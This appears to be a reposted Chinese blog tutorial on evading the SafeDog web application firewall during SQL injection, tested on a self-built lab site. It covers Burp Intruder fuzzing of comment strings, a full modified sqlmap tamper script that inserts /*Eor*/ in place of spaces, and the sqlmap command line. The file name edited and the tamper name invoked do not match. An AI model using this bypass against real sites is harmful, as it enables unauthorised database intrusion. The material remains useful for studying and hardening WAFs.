内容简介:本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本,对安全狗进行绕过。使用大小写绕过使用/**/注释符绕过
0×00 前言
本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本,对安全狗进行绕过。
0×01注入绕waf过常用手法
使用大小写绕过
使用/**/注释符绕过
使用大的数据包绕过
使用/!**/注释符绕过
……
0×02本文使用的手法是/**/注释符
首先搭建好一个有 sql 注入的测试平台,在服务器安装安全狗4.0版本
中间件和数据库使用的是apache+mysql+php(如图下)
访问搭建好有sql注入点的网站:
先进行简单测试
使用大小写加/**/注释
访问被拦截
使用burp进行对刚刚注入点进行抓包
放到重发功能repeater里面,修改id后面的值,以便等下方便爆破
修改方法,就是尽量sql语句简单,而且可以触发安全狗
以为使用到/**/注释符号来代替空格,使用尽量sql语句只留一个空格,又能触发安全狗
我的构造,刚刚好阔以触发安全狗
然后接下来就是fuzz,看看哪一个字符能绕过安全狗啦
把数据包放到intuder里面
爆破点如上图
设置如上图,字典是一些sql语句,网上有很多这种字典
开始fuzz
如果有拦截就会是这样子
成功绕过安全狗拦截,如下图
说明该/*Eor*/这个注释符可以绕过安全狗
简单测试/*Eor*/这个注释符
点击确认
发现and/*Eor*/1=2会被拦截
不清楚fuzz时候不拦截,手动就拦截了
没关系,使用sqlmap工具
打开sqlmap使在文件下面的文件夹tamper/concat2concatws.py
修改代码:
#!/usr/bin/env python2 """ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/*Eor*/" continue retVal += payload[i] return retVal
使用命令:python2 sqlmap.py -r 1.txt –tamper=space2comment
开始sql注入
成功利用
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 技术讨论 | 在HTTP协议层面绕过WAF
- 技术讨论 | 四种绕过iOS SSL验证和证书固定的方法
- 技术讨论 | 自动化Web渗透Payload提取技术
- 技术讨论 | 如何编写一段内存蠕虫?
- 技术讨论 | Largebin attack漏洞利用分析
- 技术讨论 | Glibc中堆管理的变化
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
XML、JSON 在线转换
在线XML、JSON转换工具
HEX HSV 转换工具
HEX HSV 互换工具